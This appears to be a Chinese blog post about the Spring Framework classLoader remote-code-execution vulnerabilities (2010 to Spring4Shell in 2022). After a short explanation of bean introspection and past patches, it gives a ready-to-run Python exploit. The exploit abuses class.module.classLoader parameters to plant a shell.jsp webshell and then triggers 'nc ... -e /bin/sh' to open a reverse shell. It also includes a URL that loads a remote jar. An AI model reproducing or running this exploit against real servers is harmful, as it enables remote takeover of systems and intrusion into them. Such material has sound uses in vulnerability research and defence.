免责声明:本文仅做分享~
目录
官方文档
Spring
Spring
java的一种框架,类似php的thinkphp一样.
------------------------------------
Class对象:
对象分两种
1 new出来的对象
2 Class对象 Class.forName()
bean对象:
pojo entity 实体
表示若干属性的集合,一般不具备业务逻辑方法.
四个重要标准:
1 所有属性均为private
2 提供默认的构造方法
3 提供getter和setter方法来操作属性
4 实现Serializable接口
Spring的IOC
当控制器方法接收参数为一个bean时,提交参数,会调用bean的setter方法
不仅可以对控制器参数中bean的属性赋值,还可以对属性的属性进行赋值.
这种机制,称之为内省机制.
例如:
password-112233&uername=admin&card.cid=123456
user.getCard.setCid="123456"
user.setUsername="admin"
user.setPassword="123456"
发展
2010爆CVE,通过内省机制,强制给bean赋值拿到classLoader,通过URL属性,远程标签重写,是写RCE.
通过bean对象的内省机制,可以拿到class对象 , 拿到classLoader
然后就可以加载恶意类.
http://localhost:8080/user?class.classLoader.URLs[0]=jar:http://127.0.0.1:8080/spring-jar.jar!/
2012爆 绕过
修补
Tomcat的修补方法
检查getter方法时,拿到的属性,是否是classLoader 或者 protectedDomain 就直接卡死报错.
Apache修补方式:
针对getURLs这个方法,将返回孩子改为clone 非同一个对象.
2017
java1.9 ,引入了Module机制
user.getClass().getMoudle().getClassLoader()
这个漏洞就开始存在了,一直在野利用.
2022
漏洞爆出!
漏洞总结:
新加入的特性没有兼容旧的漏洞修补,造成漏洞利用的绕过.
Spring_RCE.py
import requests
import time
url = "<目标网址>"
# 反弹地址+端口
local_addr="<ip>"
local_port="3389"
def get_shell():
header={
"cmd":"<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>"
}
requests.get(headers=header,url=url+"?"+"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=")
print("请等待getShell")
time.sleep(2)
response = requests.get(url=url+"shell.jsp?a=nc"+local_addr+" "+local_port+" -e /bin/sh")
if "Process" in response.text:
print("已经成功反弹")
else:
print("反弹失败"+response.text)
if __name__ == '__main__':
get_shell()
# -->写入shell.jsp
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » spring--RCE
发表评论 取消回复